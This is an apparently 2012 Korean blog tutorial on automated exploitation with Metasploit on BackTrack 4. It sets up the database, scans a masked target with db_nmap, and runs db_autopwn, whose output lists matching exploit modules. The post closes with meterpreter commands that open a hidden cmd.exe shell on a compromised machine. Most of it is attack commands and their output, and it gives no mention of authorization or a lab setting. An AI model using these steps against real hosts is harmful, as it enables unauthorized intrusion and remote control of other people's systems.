backtrack 4를 설치하거나, image를 받아서 실행시킨다.
backtrack4는 자동으로 네트워크 설정이 안 되기 때문에,
# /etc/init.d/networking start
자동으로 실행시키려면, .bash_profile에 등록 한다.
# vi /root/.bash_profile
/etc/init.d/networking start
이젠 autopwn을 사용할 차례다.
# msfconsole
msf > db_status
[*] postgresql selected, no connection
라고 나온다.
그러면, 사용할 수 있는 db를 알아보기 위해
msf > db_driver
[*] Active Driver: postgresql
[*] Available: postgresql, mysql, sqlite3
mysql과 postgresql로 test해 봤는데, 잘 안 되어서 sqlite3로 시도했다.
msf > db_driver sqlite3
[*] Using database driver sqlite3
msf > db_create client
[-]
[-] Warning: The db_create command is deprecated, use db_connect instead.
[-] The database and schema will be created automatically by
[-] db_connect. If db_connect fails to create the database, create
[-] it manually with your DBMS's administration tools.
[-]
[*] The specified database already exists, connecting
[*] Successfully connected to the database
[*] File: client
msf > db_status
[*] sqlite3 connected to client
위의 과정으로 연결 상태를 확인한 후, 대상 ip를 아래와 같이 입력하여, 자동 공격을 시도해 본다.
msf > db_nmap -sS -sV -T 5 -P0 -O xxx.xxx.xxx.xxx
Starting Nmap 5.35DC1 ( http://nmap.org ) at 2012-06-07 10:35 EDT
Nmap scan report for xxx.xxx.xxx.xxx
Host is up (0.015s latency).
Not shown: 990 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.3 (protocol 2.0)
80/tcp open http Apache httpd 2.2.17 ((Unix) DAV/2 PHP/5.2.16)
111/tcp open rpcbind 2 (rpc #100000)
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds
1723/tcp filtered pptp
2869/tcp filtered icslap
3306/tcp open mysql MySQL (unauthorized)
4444/tcp filtered krb524
Device type: general purpose
Running: Apple Mac OS X 10.5.X
OS details: Apple Mac OS X 10.5.5 (Leopard)
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.86 seconds
msf > db_autopwn -p -e -t
[*] Analysis completed in 9 seconds (0 vulns / 0 refs)
[*]
[*] ================================================================================
[*] Matching Exploit Modules
[*] ================================================================================
[*] xxx.xxx.xxx.xxx:111 exploit/netware/sunrpc/pkernel_callit (port match)
[*] xxx.xxx.xxx.xxx:80 exploit/unix/webapp/oscommerce_filemanager (port match)
[*] xxx.xxx.xxx.xxx:80 exploit/windows/lotus/domino_http_accept_language (port match)
[*] xxx.xxx.xxx.xxx:80 exploit/windows/iis/ms02_018_htr (port match)
[*] xxx.xxx.xxx.xxx:80 exploit/unix/webapp/base_qry_common (port match)
[*] xxx.xxx.xxx.xxx:80 exploit/windows/http/trendmicro_officescan (port match)
음.... 성공하면, session 이 열렸다고 나오는데, 실패하면, 0 sesssions 라고 나온다.
http://www.youtube.com/watch?v=VXmE0QycUd8
나머지는 동영상을 참조 한다.
성공하면 아래와 같이 콘솔로 접근할 수 있다.
sessions -l
session -i 1
meterpreter > execute -f cmd.exe -H -i
c:WINDOWSsystem32>
댓글 달기